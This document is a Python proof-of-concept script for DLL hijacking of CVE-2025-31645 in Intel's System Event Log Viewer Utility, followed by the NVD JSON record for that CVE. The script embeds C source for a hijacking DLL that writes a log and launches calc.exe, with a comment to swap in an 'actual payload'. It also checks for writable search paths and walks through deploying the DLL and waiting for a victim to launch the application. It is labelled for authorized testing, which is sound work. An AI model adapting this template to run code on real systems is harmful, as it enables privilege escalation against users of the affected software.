CVE-2025-31645

# CVE-2025-31645 DLL Hijacking PoC # Target: Intel System Event Log Viewer Utility # Vulnerability: Uncontrolled Search Path Element # # This PoC demonstrates the DLL hijacking technique for CVE-2025-31645 # For educational and authorized security testing purposes only import os import ctypes import sys def create_malicious_dll(): """Generate malicious DLL source code for exploitation""" dll_source = ''' // Malicious DLL for CVE-2025-31645 demonstration // Target: System Event Log Viewer Utility #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute payload when DLL is loaded // In real attack, this would contain malicious code // Create a log file to demonstrate code execution FILE *f = fopen("C:\\\\Temp\\\\cve-2025-31645-poc.log", "w"); if (f) { fprintf(f, "CVE-2025-31645 DLL loaded successfully!\\n"); fprintf(f, "Process: %s\\n", GetCommandLineA()); fprintf(f, "Time: %s\\n", __TIMESTAMP__); fclose(f); } // Execute calc.exe as demonstration (should be replaced with actual payload) WinExec("calc.exe", SW_SHOWNORMAL); } return TRUE; } ''' # In real scenario, compile this to DLL and place in target search path print("[*] DLL source generated - compile with: gcc -shared -o vulnerable.dll dll_source.c") return dll_source def check_vulnerable_paths(): """Check common DLL search paths for write access""" vulnerable_paths = [ os.environ.get('TEMP', ''), os.environ.get('TMP', ''), os.path.expanduser('~'), 'C:\\\\Windows\\\\Temp', ] print("[*] Checking for writable DLL search paths...") for path in vulnerable_paths: if path and os.path.exists(path): test_file = os.path.join(path, 'test_write.tmp') try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print(f"[+] Writable path found: {path}") except: print(f"[-] Not writable: {path}") def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2025-31645 Exploitation PoC") print("Intel System Event Log Viewer Utility - DLL Hijacking") print("=" * 60) # Step 1: Identify target application print("\n[Step 1] Identifying target application...") target_app = "System Event Log Viewer Utility" print(f"[*] Target: {target_app}") # Step 2: Generate malicious DLL print("\n[Step 2] Generating malicious DLL...") create_malicious_dll() # Step 3: Check for vulnerable paths print("\n[Step 3] Identifying vulnerable DLL search paths...") check_vulnerable_paths() # Step 4: Deploy DLL print("\n[Step 4] Deploy malicious DLL to search path") print("[*] Place compiled DLL in application search path") print("[*] Common paths: current directory, temp folder, application directory") # Step 5: Trigger execution print("\n[Step 5] Wait for victim to launch vulnerable application") print("[*] DLL will be loaded and payload executed with application privileges") print("\n[!] Note: This is a PoC for authorized security testing only") print("[!] Actual exploitation requires: authenticated user access + user interaction") if __name__ == '__main__': exploit()

{"cve": {"id": "CVE-2025-31645", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:47.757", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for some System Event Log Viewer Utility software for all versions within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01380.html", "source": "[email protected]"}]}}